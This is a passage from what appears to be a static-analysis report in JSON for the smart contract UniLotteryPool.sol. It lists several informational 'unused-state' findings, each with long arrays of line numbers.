6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6307, 6308, 6309, 6310, 6311, 6312, 6313, 6314, 6315, 6316, 6317, 6318, 6319, 6320, 6321, 6322, 6323, 6324, 6325, 6326, 6327, 6328, 6329, 6330, 6331, 6332, 6333, 6334, 6335, 6336, 6337, 6338, 6339, 6340, 6341, 6342, 6343, 6344, 6345, 6346, 6347, 6348, 6349, 6350, 6351, 6352, 6353, 6354, 6355, 6356, 6357, 6358, 6359, 6360, 6361, 6362, 6363, 6364, 6365, 6366, 6367, 6368, 6369, 6370, 6371, 6372, 6373, 6374, 6375, 6376, 6377, 6378, 6379, 6380, 6381, 6382, 6383, 6384, 6385, 6386, 6387, 6388, 6389, 6390, 6391, 6392, 6393, 6394, 6395, 6396, 6397, 6398, 6399, 6400, 6401, 6402, 6403, 6404, 6405, 6406, 6407, 6408, 6409, 6410, 6411, 6412, 6413, 6414, 6415, 6416, 6417, 6418, 6419, 6420, 6421, 6422, 6423, 6424, 6425, 6426, 6427, 6428, 6429, 6430, 6431, 6432, 6433, 6434, 6435, 6436, 6437, 6438, 6439, 6440, 6441, 6442, 6443, 6444, 6445, 6446, 6447, 6448, 6449, 6450, 6451, 6452, 6453, 6454, 6455, 6456, 6457, 6458, 6459, 6460, 6461, 6462, 6463, 6464, 6465, 6466, 6467, 6468, 6469, 6470, 6471, 6472, 6473, 6474, 6475, 6476, 6477, 6478, 6479, 6480, 6481, 6482, 6483, 6484, 6485, 6486, 6487, 6488, 6489, 6490, 6491, 6492, 6493, 6494, 6495, 6496, 6497, 6498, 6499, 6500, 6501, 6502, 6503, 6504, 6505, 6506, 6507, 6508, 6509, 6510, 6511, 6512, 6513, 6514, 6515, 6516, 6517, 6518, 6519, 6520, 6521, 6522, 6523, 6524, 6525, 6526, 6527, 6528, 6529, 6530, 6531, 6532, 6533, 6534, 6535, 6536, 6537, 6538, 6539, 6540, 6541, 6542, 6543, 6544, 6545, 6546, 6547, 6548, 6549, 6550, 6551, 6552, 6553, 6554, 6555, 6556, 6557, 6558, 6559, 6560, 6561, 6562, 6563, 6564, 6565, 6566, 6567, 6568, 6569, 6570, 6571, 6572, 6573, 6574, 6575, 6576, 6577, 6578, 6579, 6580, 6581, 6582, 6583, 6584, 6585, 6586, 6587, 6588, 6589, 6590, 6591, 6592, 6593, 6594, 6595, 6596, 6597, 6598, 6599, 6600, 6601, 6602, 6603, 6604, 6605, 6606, 6607, 6608, 6609, 6610, 6611, 6612, 6613, 6614, 6615, 6616, 6617, 6618, 6619, 6620, 6621, 6622, 6623, 6624, 6625, 6626, 6627, 6628, 6629, 6630, 6631, 6632, 6633, 6634, 6635, 6636, 6637, 6638, 6639, 6640, 6641, 6642, 6643, 6644, 6645, 6646, 6647, 6648, 6649, 6650, 6651, 6652, 6653, 6654, 6655, 6656, 6657, 6658, 6659, 6660, 6661, 6662, 6663, 6664, 6665, 6666, 6667, 6668, 6669, 6670, 6671, 6672, 6673, 6674, 6675, 6676, 6677, 6678, 6679, 6680, 6681, 6682, 6683, 6684, 6685, 6686, 6687, 6688, 6689, 6690, 6691, 6692, 6693, 6694, 6695, 6696, 6697, 6698, 6699, 6700, 6701, 6702, 6703, 6704, 6705, 6706, 6707, 6708, 6709, 6710, 6711, 6712, 6713, 6714, 6715, 6716, 6717, 6718, 6719, 6720, 6721, 6722, 6723, 6724, 6725, 6726, 6727, 6728, 6729, 6730, 6731, 6732, 6733, 6734, 6735, 6736, 6737, 6738, 6739, 6740, 6741, 6742, 6743, 6744, 6745, 6746, 6747, 6748, 6749, 6750, 6751, 6752, 6753, 6754, 6755, 6756]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3028, 3029, 3030, 3031, 3032, 3033, 3034, 3035, 3036, 3037, 3038, 3039, 3040, 3041, 3042, 3043, 3044, 3045, 3046, 3047, 3048, 3049, 3050, 3051, 3052, 3053, 3054, 3055, 3056, 3057, 3058, 3059, 3060, 3061, 3062, 3063, 3064, 3065, 3066, 3067, 3068, 3069, 3070, 3071, 3072, 3073, 3074, 3075, 3076, 3077, 3078, 3079, 3080, 3081, 3082, 3083, 3084, 3085, 3086, 3087, 3088, 3089, 3090, 3091, 3092, 3093, 3094, 3095, 3096, 3097, 3098, 3099, 3100, 3101, 3102, 3103, 3104, 3105, 3106, 3107, 3108, 3109, 3110, 3111, 3112, 3113, 3114, 3115, 3116, 3117, 3118, 3119, 3120, 3121, 3122, 3123, 3124, 3125, 3126, 3127, 3128, 3129, 3130, 3131, 3132, 3133, 3134, 3135, 3136, 3137, 3138, 3139, 3140, 3141, 3142, 3143, 3144, 3145, 3146, 3147, 3148, 3149, 3150, 3151, 3152, 3153, 3154, 3155, 3156, 3157, 3158, 3159, 3160, 3161, 3162, 3163, 3164, 3165, 3166, 3167, 3168, 3169, 3170, 3171, 3172, 3173, 3174, 3175, 3176, 3177, 3178, 3179, 3180, 3181, 3182, 3183, 3184, 3185, 3186, 3187, 3188, 3189, 3190, 3191, 3192, 3193, 3194, 3195, 3196, 3197, 3198, 3199, 3200, 3201, 3202, 3203, 3204, 3205, 3206, 3207, 3208, 3209, 3210, 3211, 3212, 3213, 3214, 3215, 3216, 3217, 3218, 3219, 3220, 3221, 3222, 3223, 3224, 3225, 3226, 3227, 3228, 3229, 3230, 3231, 3232, 3233, 3234, 3235, 3236, 3237, 3238, 3239, 3240, 3241, 3242, 3243, 3244, 3245, 3246, 3247, 3248, 3249, 3250, 3251, 3252, 3253, 3254, 3255, 3256, 3257, 3258, 3259, 3260, 3261, 3262, 3263, 3264, 3265, 3266, 3267, 3268, 3269, 3270, 3271, 3272, 3273, 3274, 3275, 3276, 3277, 3278, 3279, 3280, 3281, 3282, 3283, 3284, 3285, 3286, 3287, 3288, 3289, 3290, 3291, 3292, 3293, 3294, 3295, 3296, 3297, 3298, 3299, 3300, 3301, 3302, 3303, 3304, 3305, 3306, 3307, 3308, 3309, 3310, 3311, 3312, 3313, 3314, 3315, 3316, 3317, 3318, 3319, 3320, 3321, 3322, 3323, 3324, 3325, 3326, 3327, 3328, 3329, 3330, 3331, 3332, 3333, 3334, 3335, 3336, 3337, 3338, 3339, 3340, 3341, 3342, 3343, 3344, 3345, 3346, 3347, 3348, 3349, 3350, 3351, 3352, 3353, 3354, 3355, 3356, 3357, 3358, 3359, 3360, 3361, 3362, 3363, 3364, 3365, 3366, 3367, 3368, 3369, 3370, 3371, 3372, 3373, 3374, 3375, 3376, 3377, 3378, 3379, 3380, 3381, 3382, 3383, 3384, 3385, 3386, 3387, 3388, 3389, 3390, 3391, 3392, 3393, 3394, 3395, 3396, 3397, 3398, 3399, 3400, 3401, 3402, 3403, 3404, 3405, 3406, 3407, 3408, 3409, 3410, 3411, 3412, 3413, 3414, 3415, 3416, 3417, 3418, 3419, 3420, 3421, 3422, 3423, 3424, 3425, 3426, 3427, 3428, 3429, 3430, 3431, 3432, 3433, 3434, 3435, 3436, 3437, 3438, 3439, 3440, 3441, 3442, 3443, 3444, 3445, 3446, 3447, 3448, 3449, 3450, 3451, 3452, 3453, 3454, 3455, 3456, 3457, 3458, 3459, 3460, 3461, 3462, 3463, 3464, 3465, 3466, 3467, 3468, 3469, 3470, 3471, 3472, 3473, 3474, 3475, 3476, 3477, 3478, 3479, 3480, 3481, 3482, 3483, 3484, 3485, 3486, 3487, 3488, 3489, 3490, 3491, 3492, 3493, 3494, 3495, 3496, 3497, 3498, 3499, 3500, 3501, 3502, 3503, 3504, 3505, 3506, 3507, 3508, 3509, 3510, 3511, 3512, 3513, 3514, 3515, 3516, 3517, 3518, 3519, 3520, 3521, 3522, 3523, 3524, 3525, 3526, 3527, 3528, 3529, 3530, 3531, 3532, 3533, 3534, 3535, 3536, 3537, 3538, 3539, 3540, 3541, 3542, 3543, 3544, 3545, 3546, 3547, 3548, 3549, 3550, 3551, 3552, 3553, 3554, 3555, 3556, 3557, 3558, 3559, 3560, 3561, 3562, 3563, 3564, 3565, 3566, 3567, 3568, 3569, 3570, 3571, 3572, 3573, 3574, 3575, 3576, 3577, 3578, 3579, 3580, 3581, 3582, 3583, 3584, 3585, 3586, 3587, 3588, 3589, 3590, 3591, 3592, 3593, 3594, 3595, 3596, 3597, 3598, 3599, 3600, 3601, 3602, 3603, 3604, 3605, 3606, 3607, 3608, 3609, 3610, 3611, 3612, 3613, 3614, 3615, 3616, 3617, 3618, 3619, 3620, 3621, 3622, 3623, 3624, 3625, 3626, 3627, 3628, 3629, 3630, 3631, 3632, 3633, 3634, 3635, 3636, 3637, 3638, 3639, 3640, 3641, 3642, 3643, 3644, 3645, 3646, 3647, 3648, 3649, 3650, 3651, 3652, 3653, 3654, 3655, 3656, 3657, 3658, 3659, 3660, 3661, 3662, 3663, 3664, 3665, 3666, 3667, 3668, 3669, 3670, 3671, 3672, 3673, 3674, 3675, 3676, 3677, 3678, 3679, 3680, 3681, 3682, 3683, 3684, 3685, 3686, 3687, 3688, 3689, 3690, 3691, 3692, 3693, 3694, 3695, 3696, 3697, 3698, 3699, 3700, 3701, 3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710, 3711, 3712, 3713, 3714, 3715, 3716, 3717, 3718, 3719, 3720, 3721, 3722, 3723, 3724, 3725, 3726, 3727, 3728, 3729, 3730, 3731, 3732, 3733, 3734, 3735, 3736, 3737, 3738, 3739, 3740, 3741, 3742, 3743, 3744, 3745, 3746, 3747, 3748, 3749, 3750, 3751, 3752, 3753, 3754, 3755, 3756, 3757, 3758, 3759, 3760, 3761, 3762, 3763, 3764, 3765, 3766, 3767, 3768, 3769, 3770, 3771, 3772, 3773, 3774, 3775, 3776, 3777, 3778, 3779, 3780, 3781, 3782, 3783, 3784, 3785, 3786, 3787, 3788, 3789, 3790, 3791, 3792, 3793, 3794, 3795, 3796, 3797, 3798, 3799, 3800, 3801, 3802, 3803, 3804, 3805, 3806, 3807, 3808, 3809, 3810, 3811, 3812, 3813, 3814, 3815, 3816, 3817, 3818, 3819, 3820, 3821, 3822, 3823, 3824, 3825, 3826, 3827, 3828, 3829, 3830, 3831, 3832, 3833, 3834, 3835, 3836, 3837, 3838, 3839, 3840, 3841, 3842, 3843, 3844, 3845, 3846, 3847, 3848, 3849, 3850, 3851, 3852, 3853, 3854, 3855, 3856, 3857, 3858, 3859, 3860, 3861, 3862, 3863, 3864, 3865, 3866, 3867, 3868, 3869, 3870, 3871, 3872, 3873, 3874, 3875, 3876, 3877, 3878, 3879, 3880, 3881, 3882, 3883, 3884, 3885, 3886, 3887, 3888, 3889, 3890, 3891, 3892, 3893, 3894, 3895, 3896, 3897, 3898, 3899, 3900, 3901, 3902, 3903, 3904, 3905, 3906, 3907, 3908, 3909, 3910, 3911, 3912, 3913, 3914, 3915, 3916, 3917, 3918, 3919, 3920, 3921, 3922, 3923, 3924, 3925, 3926, 3927, 3928, 3929, 3930, 3931, 3932, 3933, 3934, 3935, 3936, 3937, 3938, 3939, 3940, 3941, 3942, 3943, 3944, 3945, 3946, 3947, 3948, 3949, 3950, 3951, 3952, 3953, 3954, 3955, 3956, 3957, 3958, 3959, 3960, 3961, 3962, 3963, 3964, 3965, 3966, 3967, 3968, 3969, 3970, 3971, 3972, 3973, 3974, 3975, 3976, 3977, 3978, 3979, 3980, 3981, 3982, 3983, 3984, 3985, 3986, 3987, 3988, 3989, 3990, 3991, 3992, 3993, 3994, 3995, 3996, 3997, 3998, 3999, 4000, 4001, 4002, 4003, 4004, 4005, 4006, 4007, 4008, 4009, 4010, 4011, 4012, 4013, 4014, 4015, 4016, 4017, 4018, 4019, 4020, 4021, 4022, 4023, 4024, 4025, 4026, 4027, 4028, 4029, 4030, 4031, 4032, 4033, 4034, 4035, 4036, 4037, 4038, 4039, 4040, 4041, 4042, 4043, 4044, 4045, 4046, 4047, 4048, 4049, 4050, 4051, 4052, 4053, 4054, 4055, 4056, 4057, 4058, 4059, 4060, 4061, 4062, 4063, 4064, 4065, 4066, 4067, 4068, 4069, 4070, 4071, 4072, 4073, 4074, 4075, 4076, 4077, 4078, 4079, 4080, 4081, 4082, 4083, 4084, 4085, 4086, 4087, 4088, 4089, 4090, 4091, 4092, 4093, 4094, 4095, 4096, 4097, 4098, 4099, 4100, 4101, 4102, 4103, 4104, 4105, 4106, 4107, 4108, 4109, 4110, 4111, 4112, 4113, 4114, 4115, 4116, 4117, 4118, 4119, 4120, 4121, 4122, 4123, 4124, 4125, 4126, 4127, 4128, 4129, 4130, 4131, 4132, 4133, 4134, 4135, 4136, 4137, 4138, 4139, 4140, 4141, 4142, 4143, 4144, 4145, 4146, 4147, 4148, 4149, 4150, 4151, 4152, 4153, 4154, 4155, 4156, 4157, 4158, 4159, 4160, 4161, 4162, 4163, 4164, 4165, 4166, 4167, 4168, 4169, 4170, 4171, 4172, 4173, 4174, 4175, 4176, 4177, 4178, 4179, 4180, 4181, 4182, 4183, 4184, 4185, 4186, 4187, 4188, 4189, 4190, 4191, 4192, 4193, 4194, 4195, 4196, 4197, 4198, 4199, 4200, 4201, 4202, 4203, 4204, 4205, 4206, 4207, 4208, 4209, 4210, 4211, 4212, 4213, 4214, 4215, 4216, 4217, 4218, 4219, 4220, 4221, 4222, 4223, 4224, 4225, 4226, 4227, 4228, 4229, 4230, 4231, 4232, 4233, 4234, 4235, 4236, 4237, 4238, 4239, 4240, 4241, 4242, 4243, 4244, 4245, 4246, 4247, 4248, 4249, 4250, 4251, 4252, 4253, 4254, 4255, 4256, 4257, 4258, 4259, 4260, 4261, 4262, 4263, 4264, 4265, 4266, 4267, 4268, 4269, 4270, 4271, 4272, 4273, 4274, 4275, 4276, 4277, 4278, 4279, 4280, 4281, 4282, 4283, 4284, 4285, 4286, 4287, 4288, 4289, 4290, 4291, 4292, 4293, 4294, 4295, 4296, 4297, 4298, 4299, 4300, 4301, 4302, 4303, 4304, 4305, 4306, 4307, 4308, 4309, 4310, 4311, 4312, 4313, 4314, 4315, 4316, 4317, 4318, 4319, 4320, 4321, 4322, 4323, 4324, 4325, 4326, 4327, 4328, 4329, 4330, 4331, 4332, 4333, 4334, 4335, 4336, 4337, 4338, 4339, 4340, 4341, 4342, 4343, 4344, 4345, 4346, 4347, 4348, 4349, 4350, 4351, 4352, 4353, 4354, 4355, 4356, 4357, 4358, 4359, 4360, 4361, 4362, 4363, 4364, 4365, 4366, 4367, 4368, 4369, 4370, 4371, 4372, 4373, 4374, 4375, 4376, 4377, 4378, 4379, 4380, 4381, 4382, 4383, 4384, 4385, 4386, 4387, 4388, 4389, 4390, 4391, 4392, 4393, 4394, 4395, 4396, 4397, 4398, 4399, 4400, 4401, 4402, 4403, 4404, 4405, 4406, 4407, 4408, 4409, 4410, 4411, 4412, 4413, 4414, 4415, 4416, 4417, 4418, 4419, 4420, 4421, 4422, 4423, 4424, 4425, 4426, 4427, 4428, 4429, 4430, 4431, 4432, 4433, 4434, 4435, 4436, 4437, 4438, 4439, 4440, 4441, 4442, 4443, 4444, 4445, 4446, 4447, 4448, 4449, 4450, 4451, 4452, 4453, 4454, 4455, 4456, 4457, 4458, 4459, 4460, 4461, 4462, 4463, 4464, 4465, 4466, 4467, 4468, 4469, 4470, 4471, 4472, 4473, 4474, 4475, 4476, 4477, 4478, 4479, 4480, 4481, 4482, 4483, 4484, 4485, 4486, 4487, 4488, 4489, 4490, 4491, 4492, 4493, 4494, 4495, 4496, 4497, 4498, 4499, 4500, 4501, 4502, 4503, 4504, 4505, 4506, 4507, 4508, 4509, 4510, 4511, 4512, 4513, 4514, 4515, 4516, 4517, 4518, 4519, 4520, 4521, 4522, 4523, 4524, 4525, 4526, 4527, 4528, 4529, 4530, 4531, 4532, 4533, 4534, 4535, 4536, 4537, 4538, 4539, 4540, 4541, 4542, 4543, 4544, 4545, 4546, 4547, 4548, 4549, 4550, 4551, 4552, 4553, 4554, 4555, 4556, 4557, 4558, 4559, 4560, 4561, 4562, 4563, 4564, 4565, 4566, 4567, 4568, 4569, 4570, 4571, 4572, 4573, 4574, 4575, 4576, 4577, 4578, 4579, 4580, 4581, 4582, 4583, 4584, 4585, 4586, 4587, 4588, 4589, 4590, 4591, 4592, 4593, 4594, 4595, 4596, 4597, 4598, 4599, 4600, 4601, 4602, 4603, 4604, 4605, 4606, 4607, 4608, 4609, 4610, 4611, 4612, 4613, 4614, 4615, 4616, 4617, 4618, 4619, 4620, 4621, 4622, 4623, 4624, 4625, 4626, 4627, 4628, 4629, 4630, 4631, 4632, 4633, 4634, 4635, 4636, 4637, 4638, 4639, 4640, 4641, 4642, 4643, 4644, 4645, 4646, 4647, 4648, 4649, 4650, 4651, 4652, 4653, 4654, 4655, 4656, 4657, 4658, 4659, 4660, 4661, 4662, 4663, 4664, 4665, 4666, 4667, 4668, 4669, 4670, 4671, 4672, 4673, 4674, 4675, 4676, 4677, 4678, 4679, 4680, 4681, 4682, 4683, 4684, 4685, 4686, 4687, 4688, 4689, 4690, 4691, 4692, 4693, 4694, 4695, 4696, 4697, 4698, 4699, 4700, 4701, 4702, 4703, 4704, 4705, 4706, 4707, 4708, 4709, 4710, 4711, 4712, 4713, 4714, 4715, 4716, 4717, 4718, 4719, 4720, 4721, 4722, 4723, 4724, 4725, 4726, 4727, 4728, 4729, 4730, 4731, 4732, 4733, 4734, 4735, 4736, 4737, 4738, 4739, 4740, 4741, 4742, 4743, 4744, 4745, 4746, 4747, 4748, 4749, 4750, 4751, 4752, 4753, 4754, 4755, 4756, 4757, 4758, 4759, 4760, 4761, 4762, 4763, 4764, 4765, 4766, 4767, 4768, 4769, 4770, 4771, 4772, 4773, 4774, 4775, 4776, 4777, 4778, 4779, 4780, 4781, 4782, 4783, 4784, 4785, 4786, 4787, 4788, 4789, 4790, 4791, 4792, 4793, 4794, 4795, 4796, 4797, 4798, 4799, 4800, 4801, 4802, 4803, 4804, 4805, 4806, 4807, 4808, 4809, 4810, 4811, 4812, 4813, 4814, 4815, 4816, 4817, 4818, 4819, 4820, 4821, 4822, 4823, 4824, 4825, 4826, 4827, 4828, 4829, 4830, 4831, 4832, 4833, 4834, 4835, 4836, 4837, 4838, 4839, 4840, 4841, 4842, 4843, 4844, 4845, 4846, 4847, 4848]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [8192, 8193, 8194, 8195, 8196, 8197, 8198, 8199, 8200, 8201, 8202, 8203, 8204, 8205, 8206, 8207, 8208, 8209, 8210, 8211, 8212, 8213, 8214, 8215, 8216, 8217, 8218, 8219, 8220, 8221, 8222, 8223, 8224, 8225, 8226, 8227, 8228, 8229, 8230, 8231, 8232, 8233, 8234, 8235, 8236, 8237, 8238, 8239, 8240, 8241, 8242, 8243, 8244, 8245, 8246, 8247, 8248, 8249, 8250, 8251, 8252, 8253, 8254, 8255, 8256, 8257, 8258, 8259, 8260, 8261, 8262, 8263, 8264, 8265, 8266, 8267, 8268, 8269, 8270, 8271, 8272, 8273, 8274, 8275, 8276, 8277, 8278, 8279, 8280, 8281, 8282, 8283, 8284, 8285, 8286, 8287, 8288, 8289, 8290, 8291, 8292, 8293, 8294, 8295, 8296, 8297, 8298, 8299, 8300, 8301, 8302, 8303, 8304, 8305, 8306, 8307, 8308, 8309, 8310, 8311, 8312, 8313, 8314, 8315, 8316, 8317, 8318, 8319, 8320, 8321, 8322, 8323, 8324, 8325, 8326, 8327, 8328, 8329, 8330, 8331, 8332, 8333, 8334, 8335, 8336, 8337, 8338, 8339, 8340, 8341, 8342, 8343, 8344, 8345, 8346, 8347, 8348, 8349, 8350, 8351, 8352, 8353, 8354, 8355, 8356, 8357, 8358, 8359, 8360, 8361, 8362, 8363, 8364, 8365, 8366, 8367, 8368, 8369, 8370, 8371, 8372, 8373, 8374, 8375, 8376, 8377, 8378, 8379, 8380, 8381, 8382, 8383, 8384, 8385, 8386, 8387, 8388, 8389, 8390, 8391, 8392, 8393, 8394, 8395, 8396, 8397, 8398, 8399, 8400, 8401, 8402, 8403, 8404, 8405, 8406, 8407, 8408, 8409, 8410, 8411, 8412, 8413, 8414, 8415, 8416, 8417, 8418, 8419, 8420, 8421, 8422, 8423, 8424, 8425, 8426, 8427, 8428, 8429, 8430, 8431, 8432, 8433, 8434, 8435, 8436, 8437, 8438, 8439, 8440, 8441, 8442, 8443, 8444, 8445, 8446, 8447, 8448, 8449, 8450, 8451, 8452, 8453, 8454, 8455, 8456, 8457, 8458, 8459, 8460, 8461, 8462, 8463, 8464, 8465, 8466, 8467, 8468, 8469, 8470, 8471, 8472, 8473, 8474, 8475, 8476, 8477, 8478, 8479, 8480, 8481, 8482, 8483, 8484, 8485, 8486, 8487, 8488, 8489, 8490, 8491, 8492, 8493, 8494, 8495, 8496, 8497, 8498, 8499, 8500, 8501, 8502, 8503, 8504, 8505, 8506, 8507, 8508, 8509, 8510, 8511, 8512, 8513, 8514, 8515, 8516, 8517, 8518, 8519, 8520, 8521, 8522, 8523, 8524, 8525, 8526, 8527, 8528, 8529, 8530, 8531, 8532, 8533, 8534, 8535, 8536, 8537, 8538, 8539, 8540, 8541, 8542, 8543, 8544, 8545, 8546, 8547, 8548, 8549, 8550, 8551, 8552, 8553, 8554, 8555, 8556, 8557, 8558, 8559, 8560, 8561, 8562, 8563, 8564, 8565, 8566, 8567, 8568, 8569, 8570, 8571, 8572, 8573, 8574, 8575, 8576, 8577, 8578, 8579, 8580, 8581, 8582, 8583, 8584, 8585, 8586, 8587, 8588, 8589, 7300, 7301, 7302, 7303, 7304, 7305, 7306, 7307, 7308, 7309, 7310, 7311, 7312, 7313, 7314, 7315, 7316, 7317, 7318, 7319, 7320, 7321, 7322, 7323, 7324, 7325, 7326, 7327, 7328, 7329, 7330, 7331, 7332, 7333, 7334, 7335, 7336, 7337, 7338, 7339, 7340, 7341, 7342, 7343, 7344, 7345, 7346, 7347, 7348, 7349, 7350, 7351, 7352, 7353, 7354, 7355, 7356, 7357, 7358, 7359, 7360, 7361, 7362, 7363, 7364, 7365, 7366, 7367, 7368, 7369, 7370, 7371, 7372, 7373, 7374, 7375, 7376, 7377, 7378, 7379, 7380, 7381, 7382, 7383, 7384, 7385, 7386, 7387, 7388, 7389, 7390, 7391, 7392, 7393, 7394, 7395, 7396, 7397, 7398, 7399, 7400, 7401, 7402, 7403, 7404, 7405, 7406, 7407, 7408, 7409, 7410, 7411, 7412, 7413, 7414, 7415, 7416, 7417, 7418, 7419, 7420, 7421, 7422, 7423, 7424, 7425, 7426, 7427, 7428, 7429, 7430, 7431, 7432, 7433, 7434, 7435, 7436, 7437, 7438, 7439, 7440, 7441, 7442, 7443, 7444, 7445, 7446, 7447, 7448, 7449, 7450, 7451, 7452, 7453, 7454, 7455, 7456, 7457, 7458, 7459, 7460, 7461, 7462, 7463, 7464, 7465, 7466, 7467, 7468, 7469, 7470, 7471, 7472, 7473, 7474, 7475, 7476, 7477, 7478, 7479, 7480, 7481, 7482, 7483, 7484, 7485, 7486, 7487, 7488, 7489, 7490, 7491, 7492, 7493, 7494, 7495, 7496, 7497, 7498, 7499, 7500, 7501, 7502, 7503, 7504, 7505, 7506, 7507, 7508, 7509, 7510, 7511, 7512, 7513, 7514, 7515, 7516, 7517, 7518, 7519, 7520, 7521, 7522, 7523, 7524, 7525, 7526, 7527, 7528, 7529, 7530, 7531, 7532, 7533, 7534, 7535, 7536, 7537, 7538, 7539, 7540, 7541, 7542, 7543, 7544, 7545, 7546, 7547, 7548, 7549, 7550, 7551, 7552, 7553, 7554, 7555, 7556, 7557, 7558, 7559, 7560, 7561, 7562, 7563, 7564, 7565, 7566, 7567, 7568, 7569, 7570, 7571, 7572, 7573, 7574, 7575, 7576, 7577, 7578, 7579, 7580, 7581, 7582, 7583, 7584, 7585, 7586, 7587, 7588, 7589, 7590, 7591, 7592, 7593, 7594, 7595, 7596, 7597, 7598, 7599, 7600, 7601, 7602, 7603, 7604, 7605, 7606, 7607, 7608, 7609, 7610, 7611, 7612, 7613, 7614, 7615, 7616, 7617, 7618, 7619, 7620, 7621, 7622, 7623, 7624, 7625, 7626, 7627, 7628, 7629, 7630, 7631, 7632, 7633, 7634, 7635, 7636, 7637, 7638, 7639, 7640, 7641, 7642, 7643, 7644, 7645, 7646, 7647, 7648, 7649, 7650, 7651, 7652, 7653, 7654, 7655, 7656, 7657, 7658, 7659, 7660, 7661, 7662, 7663, 7664, 7665, 7666, 7667, 7668, 7669, 7670, 7671, 7672, 7673, 7674, 7675, 7676, 7677, 7678, 7679, 7680, 7681, 7682, 7683, 7684, 7685, 7686, 7687, 7688, 7689, 7690, 7691, 7692, 7693, 7694, 7695, 7696, 7697, 7698, 7699, 7700, 7701, 7702, 7703, 7704, 7705, 7706, 7707, 7708, 7709, 7710, 7711, 7712, 7713, 7714, 7715, 7716, 7717, 7718, 7719, 7720, 7721, 7722, 7723, 7724, 7725, 7726, 7727, 7728, 7729, 7730, 7731, 7732, 7733, 7734, 7735, 7736, 7737, 7738, 7739, 7740, 7741, 7742, 7743, 7744, 7745, 7746, 7747, 7748, 7749, 7750, 7751, 7752, 7753, 7754, 7755, 7756, 7757, 7758, 7759, 7760, 7761, 7762, 7763, 7764, 7765, 7766, 7767, 7768, 7769, 7770, 7771, 7772, 7773, 7774, 7775, 7776, 7777, 7778, 7779, 7780, 7781, 7782, 7783, 7784, 7785, 7786, 7787, 7788, 7789, 7790, 7791, 7792, 7793, 7794, 7795, 7796, 7797, 7798, 7799, 7800, 7801, 7802, 7803, 7804, 7805, 7806, 7807, 7808, 7809, 7810, 7811, 7812, 7813, 7814, 7815, 7816, 7817, 7818, 7819, 7820, 7821, 7822, 7823, 7824, 7825, 7826, 7827, 7828, 7829, 7830, 7831, 7832, 7833, 7834, 7835, 7836, 7837, 7838, 7839, 7840, 7841, 7842, 7843, 7844, 7845, 7846, 7847, 7848, 7849, 7850, 7851, 7852, 7853, 7854, 7855, 7856, 7857, 7858, 7859, 7860, 7861, 7862, 7863, 7864, 7865, 7866, 7867, 7868, 7869, 7870, 7871, 7872, 7873, 7874, 7875, 7876, 7877, 7878, 7879, 7880, 7881, 7882, 7883, 7884, 